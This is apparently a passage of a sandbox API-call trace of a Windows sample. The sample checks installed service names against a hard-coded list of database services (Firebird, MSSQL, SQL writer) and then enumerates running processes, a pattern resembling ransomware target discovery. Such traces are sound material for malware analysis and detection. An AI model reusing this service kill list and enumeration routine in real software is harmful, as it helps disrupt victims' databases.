lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.958] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.958] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.958] lstrlenW (lpString="LSM") returned 3 [0133.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0133.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0133.958] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0133.958] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0133.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0133.958] lstrlenW (lpString="MapsBroker") returned 10 [0133.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0133.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0133.958] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0133.958] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0133.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0133.958] lstrlenW (lpString="MpsSvc") returned 6 [0133.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.958] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.958] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.958] lstrlenW (lpString="NcbService") returned 10 [0133.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0133.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0133.959] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0133.959] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0133.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0133.959] lstrlenW (lpString="netprofm") returned 8 [0133.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0133.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0133.959] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0133.959] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0133.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0133.959] lstrlenW (lpString="NlaSvc") returned 6 [0133.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.959] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.959] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.959] lstrlenW (lpString="nsi") returned 3 [0133.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.959] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.959] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.959] lstrlenW (lpString="PcaSvc") returned 6 [0133.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.959] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.959] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.959] lstrlenW (lpString="PlugPlay") returned 8 [0133.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.959] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.959] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.960] lstrlenW (lpString="Power") returned 5 [0133.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.960] lstrlenW (lpString="ProfSvc") returned 7 [0133.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.960] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.960] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.960] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.960] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.960] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.960] lstrlenW (lpString="RpcSs") returned 5 [0133.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.960] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.960] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.960] lstrlenW (lpString="SamSs") returned 5 [0133.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.960] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.960] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.960] lstrlenW (lpString="Schedule") returned 8 [0133.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.961] lstrlenW (lpString="SecurityHealthService") returned 21 [0133.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0133.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0133.961] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0133.961] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0133.961] lstrlenW (lpString="SENS") returned 4 [0133.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.961] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.961] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.961] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.961] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.961] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.961] lstrlenW (lpString="Spooler") returned 7 [0133.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.961] lstrlenW (lpString="SSDPSRV") returned 7 [0133.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0133.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0133.961] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0133.961] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0133.961] lstrlenW (lpString="StateRepository") returned 15 [0133.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0133.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0133.961] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0133.961] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0133.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0133.962] lstrlenW (lpString="SysMain") returned 7 [0133.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0133.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0133.962] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0133.962] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0133.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0133.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a0 [0133.966] Process32FirstW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.967] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.968] lstrlenW (lpString="System") returned 6 [0133.968] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.968] lstrlenW (lpString="smss.exe") returned 8 [0133.968] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.969] lstrlenW (lpString="csrss.exe") returned 9 [0133.969] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.970] lstrlenW (lpString="wininit.exe") returned 11 [0133.970] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.971] lstrlenW (lpString="csrss.exe") returned 9 [0133.971] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.971] lstrlenW (lpString="winlogon.exe") returned 12 [0133.971] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.972] lstrlenW (lpString="services.exe") returned 12 [0133.972] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.973] lstrlenW (lpString="lsass.exe") returned 9 [0133.973] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.973] lstrlenW (lpString="svchost.exe") returned 11 [0133.973] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0133.974] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0133.974] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0133.975] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0133.975] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.975] lstrlenW (lpString="svchost.exe") returned 11 [0133.975] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.976] lstrlenW (lpString="dwm.exe") returned 7 [0133.976] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.977] lstrlenW (lpString="svchost.exe") returned 11 [0133.977] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.978] lstrlenW (lpString="svchost.exe") returned 11 [0133.978] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.979] lstrlenW (lpString="svchost.exe") returned 11 [0133.979] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.980] lstrlenW (lpString="svchost.exe") returned 11 [0133.980] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.981] lstrlenW (lpString="svchost.exe") returned 11 [0133.981] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.981] lstrlenW (lpString="svchost.exe") returned 11 [0133.981] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.982] lstrlenW (lpString="svchost.exe") returned 11 [0133.982] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.983] lstrlenW (lpString="svchost.exe") returned 11 [0133.983] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.984] lstrlenW (lpString="svchost.exe") returned 11 [0133.984] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.985] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.985] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.985] lstrlenW (lpString="svchost.exe") returned 11 [0133.985] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.986] lstrlenW (lpString="svchost.exe") returned 11 [0133.986] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.987] lstrlenW (lpString="audiodg.exe") returned 11 [0133.987] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.987] lstrlenW (lpString="sihost.exe") returned 10 [0133.987] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.988] lstrlenW (lpString="svchost.exe") returned 11 [0133.988] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.989] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.989] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0133.989] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0133.989] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0133.990] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0133.990] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.991] lstrlenW (lpString="explorer.exe") returned 12 [0133.991] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0133.992] lstrlenW (lpString="Memory Compression") returned 18 [0133.992] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.993] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0133.993] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.993] lstrlenW (lpString="SearchUI.exe") returned 12 [0133.993] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.994] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0133.994] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.995] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0133.995] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.995] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.995] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0133.996] lstrlenW (lpString="UsoClient.exe") returned 13 [0133.996] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0133.997] lstrlenW (lpString="msoia.exe") returned 9 [0133.997] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, 